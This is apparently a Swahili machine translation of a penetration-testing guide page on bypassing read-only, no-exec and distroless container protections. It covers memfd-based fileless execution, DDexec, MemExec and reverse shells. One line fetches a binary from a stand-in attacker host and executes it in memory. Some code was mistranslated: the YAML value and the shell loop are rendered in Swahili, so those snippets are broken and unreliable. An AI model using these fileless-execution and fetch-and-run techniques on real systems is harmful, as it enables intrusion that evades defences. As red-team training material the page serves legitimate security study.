Bypass FS protections: read-only / no-exec / Distroless

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Ikiwa una nia ya kazi ya kudukua na kudukua yasiyodukuliwa - tunakupa kazi! (inahitajika uwezo wa kuandika na kuzungumza kwa ufasaha wa Kipolishi).

Video

Katika video zifuatazo unaweza kupata mbinu zilizotajwa kwenye ukurasa huu zilizoelezwa kwa undani zaidi:

Soma-tu / hakuna-exec hali

Inazidi kuwa kawaida kupata mashine za linux zilizomountiwa na ulinzi wa mfumo wa faili wa soma-tu (ro), hasa katika vyombo. Hii ni kwa sababu ya kuendesha chombo na mfumo wa faili wa ro ni rahisi kama kuweka readOnlyRootFilesystem: kweli katika securitycontext:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: kweli
    command: ["sh", "-c", "wakati wa kweli; fanya usingizi 1000; fanyika"]

Hata hivyo, hata kama mfumo wa faili umemountiwa kama ro, /dev/shm bado itakuwa inaweza kuandikwa, hivyo ni uongo hatuwezi kuandika chochote kwenye diski. Hata hivyo, folda hii itakuwa imemountiwa na ulinzi wa hakuna-exec, hivyo ikiwa unapakua binary hapa hutaweza kuitekeleza.

Kutoka mtazamo wa timu nyekundu, hii inafanya kuwa ngumu kupakua na kutekeleza binaries ambazo hazipo kwenye mfumo tayari (kama backdoors au enumerators kama kubectl).

Kudukua Rahisi: Scripts

Tafadhali kumbuka nilitaja binaries, unaweza kutekeleza skripti yoyote ikiwa tu mkalimani yupo ndani ya chombo, kama skripti ya shell ikiwa sh iko au skripti ya python ikiwa python imefungwa.

Hata hivyo, hii pekee haitoshi kutekeleza backdoor yako ya binary au zana nyingine za binary unazoweza kuhitaji kutekeleza.

Kudukua Kumbukumbu

Ikiwa unataka kutekeleza binary lakini mfumo wa faili hauruhusu hivyo, njia bora ya kufanya hivyo ni kwa kutekeleza kutoka kumbukumbu, kwani ulinzi hauwafai huko.

FD + kizuizi cha wito wa exec

Ikiwa una injini za skripti zenye nguvu ndani ya chombo, kama Python, Perl, au Ruby unaweza kupakua binary kutekeleza kutoka kumbukumbu, kuihifadhi kwenye maelezo ya faili ya kumbukumbu (wito wa syscall wa create_memfd), ambayo haitalindwa na ulinzi huo na kisha kuita wito wa exec syscall kuonyesha fd kama faili ya kutekeleza.

Kwa hili unaweza kutumia mradi fileless-elf-exec. Unaweza kumpitisha binary na itazalisha skripti katika lugha iliyoelezwa na binary iliyosongwa na b64 encoded pamoja na maagizo ya kudecode na kudecompress katika fd iliyoundwa kwa kuita wito wa create_memfd syscall na wito wa exec syscall kuitekeleza.

Hii haitafanya kazi katika lugha zingine za skripti kama PHP au Node kwa sababu hawana njia yoyote ya msingi ya kuita wito wa syscalls wa moja kwa moja kutoka kwa skripti, hivyo haiwezekani kuita create_memfd kuunda fd ya kumbukumbu kuhifadhi binary.

Zaidi ya hayo, kuunda fd ya kawaida na faili katika /dev/shm haitafanya kazi, kwa sababu hautaruhusiwa kuitekeleza kwa sababu ya ulinzi wa hakuna-exec utatumika.

DDexec / EverythingExec

DDexec / EverythingExec ni mbinu inayokuwezesha kurekebisha kumbukumbu ya mchakato wako mwenyewe kwa kubadilisha /proc/self/mem yake.

Hivyo, kudhibiti kanuni ya mkusanyiko inayotekelezwa na mchakato, unaweza kuandika shellcode na "kubadilisha" mchakato kutekeleza kanuni yoyote ya kupindukia.

DDexec / EverythingExec itakuruhusu kupakia na kutekeleza shellcode yako mwenyewe au binary yoyote kutoka kumbukumbu.

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

MemExec

Memexec ni hatua ya asili ya DDexec. Ni DDexec shellcode demonised, kila wakati unapotaka kuendesha binary tofauti hauitaji kuzindua upya DDexec, unaweza tu kuendesha shellcode ya memexec kupitia mbinu ya DDexec na kisha kuwasiliana na kiumbe hiki ili kupitisha binaries mpya za kupakia na kuendesha.

Unaweza kupata mfano jinsi ya kutumia memexec kuendesha binaries kutoka kwa PHP reverse shell katika https://github.com/arget13/memexec/blob/main/a.php.

Memdlopen

Kwa lengo kama la DDexec, mbinu ya memdlopen inaruhusu njia rahisi ya kupakia binaries kwenye kumbukumbu kwa kuziendesha baadaye. Inaweza kuruhusu hata kupakia binaries zenye tegemezi.

Kupitisha Distroless

Ni nini distroless

Vyombo vya distroless vinavyo vipengele vichache sana vinavyohitajika kuendesha programu au huduma maalum, kama maktaba na tegemezi za wakati wa uendeshaji, lakini vinaweka pembeni vipengele vikubwa kama meneja wa pakiti, shell, au zana za mfumo.

Lengo la vyombo vya distroless ni kupunguza eneo la mashambulizi ya vyombo kwa kufuta vipengele visivyo vya lazima na kupunguza idadi ya mapungufu yanayoweza kutumiwa.

Reverse Shell

Katika chombo cha distroless unaweza hata usipate sh au bash kupata shell ya kawaida. Pia hutapata binaries kama ls, whoami, id... kila kitu unachozoea kuendesha kwenye mfumo.

Kwa hivyo, hutaweza kupata reverse shell au kuorodhesha mfumo kama kawaida.

Hata hivyo, ikiwa chombo kilichoharibiwa kinaendesha kwa mfano wavuti ya flask, basi python imewekwa, na kwa hivyo unaweza kupata Python reverse shell. Ikiwa inaendesha node, unaweza kupata Node rev shell, na vivyo hivyo na karibu lugha yoyote ya scripting.

Kwa kutumia lugha ya scripting unaweza kuorodhesha mfumo kwa kutumia uwezo wa lugha hiyo.

Ikiwa hakuna ulinzi wa read-only/no-exec unaweza kutumia reverse shell yako kufanya kuandika kwenye mfumo wa faili binaries yako na kuendesha.

Hata hivyo, katika aina hii ya vyombo ulinzi huu kawaida utakuwepo, lakini unaweza kutumia mbinu za awali za utekelezaji wa kumbukumbu kuzipita.

Unaweza kupata mifano jinsi ya kutumia baadhi ya mapungufu ya RCE kupata reverse shells za lugha za scripting na kutekeleza binaries kutoka kumbukumbu katika https://github.com/carlospolop/DistrolessRCE.

Last updated